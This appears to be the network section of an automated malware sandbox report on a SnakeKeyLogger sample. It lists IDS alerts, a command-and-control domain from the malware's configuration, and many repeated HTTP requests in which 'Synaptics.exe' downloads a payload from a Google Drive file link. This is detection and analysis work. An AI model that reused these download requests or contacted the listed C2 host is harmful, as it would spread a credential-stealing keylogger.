Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49751 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49737 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49755 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49733 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49747 -> 142.250.186.78:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.16:49781 -> 13.107.246.45:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.16:49816 -> 13.107.246.45:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=SEIp9Ft1pM_DTSp4ZWAE2JXd5p6vYnOenYasNDVud7Yu6_XlLVZWsdgqTMAV0WJp8gbHLzac7m-O074jzZozfmgMpTLCdPEbll-92cpDhan5otbZ5vTSOiiwCIw1pFCy9i0rkRERXyoZZbduoCGvMnLGpGFYBf-d6w_ZXbzQtTOeATiGU0dEJLQO
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
